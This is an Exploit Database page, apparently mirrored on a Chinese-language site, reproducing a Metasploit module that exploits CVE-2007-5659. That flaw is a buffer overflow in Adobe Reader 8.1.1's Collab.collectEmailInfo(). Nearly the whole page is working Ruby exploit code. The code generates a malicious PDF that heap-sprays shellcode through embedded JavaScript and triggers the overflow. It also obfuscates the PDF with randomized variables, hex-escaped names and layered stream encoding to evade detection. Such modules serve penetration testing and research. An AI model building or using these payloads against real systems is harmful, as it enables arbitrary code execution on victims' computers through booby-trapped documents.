Adobe – ‘Collab.collectEmailInfo()’ Local Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16674/

• ##
  # $Id: adobe_collectemailinfo.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'zlib'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Adobe Collab.collectEmailInfo() Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1.
  					By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo() call,
  					an attacker may be able to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
  			'Version'=> '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-5659' ],
  					[ 'OSVDB', '41495' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> "\x00",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)', { 'Ret' => '' } ],
  				],
  			'DisclosureDate' => 'Feb 8 2008',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
  			], self.class)
  	end
  
  	def exploit
  		# Encode the shellcode.
  		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
  		# Make some nops
  		nops= Rex::Text.to_unescape(make_nops(4))
  
  		# Randomize variables
  		rand1= rand_text_alpha(rand(100) + 1)
  		rand2= rand_text_alpha(rand(100) + 1)
  		rand3= rand_text_alpha(rand(100) + 1)
  		rand4= rand_text_alpha(rand(100) + 1)
  		rand5= rand_text_alpha(rand(100) + 1)
  		rand6= rand_text_alpha(rand(100) + 1)
  		rand7= rand_text_alpha(rand(100) + 1)
  		rand8= rand_text_alpha(rand(100) + 1)
  		rand9= rand_text_alpha(rand(100) + 1)
  		rand10 = rand_text_alpha(rand(100) + 1)
  		rand11 = rand_text_alpha(rand(100) + 1)
  		rand12 = rand_text_alpha(rand(100) + 1)
  
  		script = %Q|
  		var #{rand1} = unescape("#{shellcode}");
  		var #{rand2} ="";
  		for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
  		#{rand4} = #{rand2} + #{rand1};
  		#{rand5} = unescape("#{nops}");
  		#{rand6} = 20;
  		#{rand7} = #{rand6}+#{rand4}.length
  		while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
  		#{rand8} = #{rand5}.substring(0, #{rand7});
  		#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
  		while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
  		#{rand10} = new Array();
  		for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
  		var #{rand12} = unescape("%u0c0c%u0c0c");
  		while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
  		this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});
  					|
  
  		# Create the pdf
  		pdf = make_pdf(script)
  
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(pdf)
  	end
  
  	def RandomNonASCIIString(count)
  		result = ""
  		count.times do
  			result << (rand(128) + 128).chr
  		end
  		result
  	end
  
  	def ioDef(id)
  		"%d 0 obj" % id
  	end
  
  	def ioRef(id)
  		"%d 0 R" % id
  	end
  
  	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  	def nObfu(str)
  		result = ""
  		str.scan(/./u) do |c|
  			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
  				result << "#%x" % c.unpack("C*")[0]
  			else
  				result << c
  			end
  		end
  		result
  	end
  
  	def ASCIIHexWhitespaceEncode(str)
  		result = ""
  		whitespace = ""
  		str.each_byte do |b|
  			result << whitespace << "%02x" % b
  			whitespace = " " * (rand(3) + 1)
  		end
  		result << ">"
  	end
  
  	def make_pdf(js)
  
  		xref = []
  		eol = "\x0d\x0a"
  		endobj = "endobj" << eol
  
  		# Randomize PDF version?
  		pdf = "%PDF-1.5" << eol
  		pdf << "%" << RandomNonASCIIString(4) << eol
  		xref << pdf.length
  		pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
  		xref << pdf.length
  		pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
  		xref << pdf.length
  		pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
  		xref << pdf.length
  		pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
  		xref << pdf.length
  		pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
  		xref << pdf.length
  		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
  		pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  		pdf << "stream" << eol
  		pdf << compressed << eol
  		pdf << "endstream" << eol
  		pdf << endobj
  		xrefPosition = pdf.length
  		pdf << "xref" << eol
  		pdf << "0 %d" % (xref.length + 1) << eol
  		pdf << "0000000000 65535 f" << eol
  		xref.each do |index|
  			pdf << "%010d 00000 n" % index << eol
  		end
  		pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
  		pdf << "startxref" << eol
  		pdf << xrefPosition.to_s() << eol
  		pdf << "%%EOF" << eol
  
  	end
  
  end